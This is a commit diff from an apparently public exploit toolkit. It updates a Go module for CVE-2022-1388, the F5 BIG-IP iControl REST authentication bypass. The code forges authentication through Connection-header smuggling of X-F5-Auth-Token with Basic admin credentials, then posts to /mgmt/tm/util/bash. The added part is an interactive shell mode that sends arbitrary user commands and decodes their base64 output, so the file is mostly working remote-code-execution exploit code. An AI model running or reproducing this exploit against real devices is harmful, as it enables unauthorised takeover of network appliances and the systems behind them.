55 "encoding/json"
66 req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
77 "github.com/SummerSec/SpringExploit/cmd/commons/utils"
8- "github.com/fatih/structs "
8+ "github.com/c-bata/go-prompt "
99 "github.com/imroc/req/v3"
1010 log "github.com/sirupsen/logrus"
1111 "net/url"
@@ -17,25 +17,24 @@ type CVE20221388 struct{}
1717func (t CVE20221388 ) SendPoc (target string , hashmap map [string ]interface {}) {
1818 log .Debug ("[+] Start CVE-2022-1388" )
1919
20- reqinfo := req2 .NewReqInfo ()
21- reqmap := structs .Map (reqinfo )
20+ //reqinfo := req2.NewReqInfo()
21+ //reqmap := structs.Map(reqinfo)
22+ reqmap := req2 .NewReqInfoToMap (hashmap )
2223
2324 // 初始化请求
2425 // TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
25- reqmap ["timeout" ] = hashmap ["Timeout" ].(int )
26- reqmap ["retry" ] = hashmap ["Retry" ].(int )
27- reqmap ["proxy" ] = hashmap ["Proxy" ].(string )
28- reqmap ["mode" ] = hashmap ["Mode" ].(int )
26+ reqmap ["h1" ] = true
2927
3028 u , _ := url .Parse (target )
3129 path := "/mgmt/tm/util/bash"
3230 reqmap ["url" ] = u .Scheme + "://" + u .Host + path
3331 reqmap ["method" ] = "POST"
3432
3533 headers := map [string ]string {
36- "Host" : "localhost" ,
37- "User-Agent" : utils .GetUA (),
38- "Connection" : "keep-alive,x-f5-auTh-tOKen" ,
34+ "Host" : "localhost" ,
35+ "User-Agent" : utils .GetUA (),
36+ //"Connection": "keep-alive, x-f5-auTh-tOKen, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host",
37+ "Connection" : "keep-alive, x-f5-auTh-tOKen" ,
3938 "Authorization" : "Basic YWRtaW46" ,
4039 "X-F5-Auth-Token" : utils .GetCode (5 ),
4140 "Content-Type" : "application/json" ,
@@ -55,13 +54,35 @@ func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
5554
5655 if t .CheckExp (resp , randstr , hashmap ) {
5756 t .SaveResult (target , hashmap ["Out" ].(string ))
57+ }
58+
59+ if hashmap ["Shell" ].(bool ) {
60+ log .Info ("[+] Start CVE-2022-1388 shell" )
61+ th := prompt .Input ("[+] Please input command: " , completer )
62+ if th == "" {
63+ th = "whoami |base64 "
64+ } else {
65+ th = th + " |base64 "
66+ }
67+ reqmap ["body" ] = "{\" command\" :\" run\" ,\" utilCmdArgs\" :\" -c '" + th + "'\" }"
68+ resp = utils .Send (reqmap )
69+ txt := resp .String ()
5870
71+ log .Debugf ("[+] resp: %s" , txt )
72+ var txtmap map [string ]interface {}
73+ err := json .Unmarshal ([]byte (txt ), & txtmap )
74+ if err != nil {
75+ log .Errorf ("[-] Unmarshal error: %s" , err )
76+ return
77+ }
78+ log .Info ("命令执行结果: " + utils .DecodeString (txtmap ["commandResult" ].(string )))
79+ log .Info ("[+] End CVE-2022-1388 shell" )
5980 }
6081
6182}
6283
6384func (CVE20221388 ) SaveResult (target string , file string ) {
64- result := target + " 存在 CVE-2022-1388漏洞"
85+ result := target + " 存在 CVE-2022-1388漏洞 可以使用 SpringExplit -u " + target + " -p CVE20221388 --shell 进入交互shell执行命令 "
6586 err := utils .SaveToFile (result , file )
6687 log .Info (result )
6788 if err != nil {
@@ -71,7 +92,15 @@ func (CVE20221388) SaveResult(target string, file string) {
7192}
7293
7394func (CVE20221388 ) CheckExp (resp * req.Response , randstr string , hashmap map [string ]interface {}) bool {
95+ defer func () {
96+ if err := recover (); err != nil {
97+ log .Error ("[-] CheckExp error: " , err )
98+ }
99+ }()
74100 res := resp .String ()
101+ if res == "" {
102+ return false
103+ }
75104 log .Debugf (res )
76105 if strings .Contains (res , randstr ) {
77106 // 将res 转化成map
@@ -85,4 +114,12 @@ func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[stri
85114 return true
86115 }
87116 return false
117+ return false
118+ }
119+
120+ func completer (d prompt.Document ) []prompt.Suggest {
121+ s := []prompt.Suggest {
122+ {Text : "id" , Description : "you can type command {id}" },
123+ }
124+ return prompt .FilterHasPrefix (s , d .GetWordBeforeCursor (), true )
88125}
0 commit comments